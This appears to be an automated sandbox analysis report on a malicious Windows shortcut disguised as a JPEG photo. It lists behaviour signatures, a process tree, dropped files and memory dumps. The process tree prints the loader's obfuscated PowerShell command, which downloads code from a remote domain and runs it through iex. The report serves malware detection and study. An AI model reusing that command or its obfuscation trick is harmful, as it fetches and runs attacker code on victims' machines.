Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/07/2026, 07:33

General

  • Target
    IMG_20260728_192848.jpg.lnk
  • Size 1KB
  • Sample260729-jdvvtsyble
  • SHA256 af67cf34c0a0baaf4ec195d3d02e1e4a1f2ed15d845cfedd0f7ecbb76f9dbf97
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 43 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_192848.jpg.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3368
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('tayno','otoins','servph','.shop','w','re')[5,2,1,0,4,3] -join $aaVT0a) -useb | iex
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4424
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\q4wcrugk\q4wcrugk.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4632
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5903.tmp" "c:\Users\Admin\AppData\Local\Temp\q4wcrugk\CSC6EBA58D7A019421FBB204EF2A61EBC71.TMP"
          4⤵
            PID:3044

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          RES5903.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES5903.tmp
          • Size 1KB
          • SHA256 b262b995e3d655971dad9b4779206fda5b113cbb457fc7a9369afb9148798d2e
          • MD5 SHA1 SHA512 TLSH

          q4wcrugk.dll

          • Path C:\Users\Admin\AppData\Local\Temp\q4wcrugk\q4wcrugk.dll
          • Size 3KB
          • SHA256 d33793a111f6de283793d59510edd9d4eb01c9d29fac1dc665ee2898a4ea7abf
          • MD5 SHA1 SHA512 TLSH

          CSC6EBA58D7A019421FBB204EF2A61EBC71.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\q4wcrugk\CSC6EBA58D7A019421FBB204EF2A61EBC71.TMP
          • Size 652B
          • SHA256 8a5cd3427adf943f8c504061085633377453c07b8d7c3ebcc65e00162a6fa8ca
          • MD5 SHA1 SHA512 TLSH

          q4wcrugk.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\q4wcrugk\q4wcrugk.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          q4wcrugk.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\q4wcrugk\q4wcrugk.cmdline
          • Size 369B
          • SHA256 a433036456eb57875ac52578894db4de4e45d8c952f60a6a186ab062b55c5898
          • MD5 SHA1 SHA512 TLSH

          memory/4424-16-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/4424-9-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/4424-11-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/4424-12-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/4424-13-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/4424-14-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/4424-15-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/4424-2-0x00007FFCD4EDF000-0x00007FFCD4EE0000-memory.dmp

          memory/4424-17-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/4424-18-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/4424-19-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/4424-10-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/4424-8-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/4424-32-0x000001AFEB980000-0x000001AFEB988000-memory.dmp

          memory/4424-7-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/4424-6-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/4424-5-0x000001AFEB9A0000-0x000001AFEB9C2000-memory.dmp

          memory/4424-33-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/4424-34-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/4424-35-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/4424-36-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp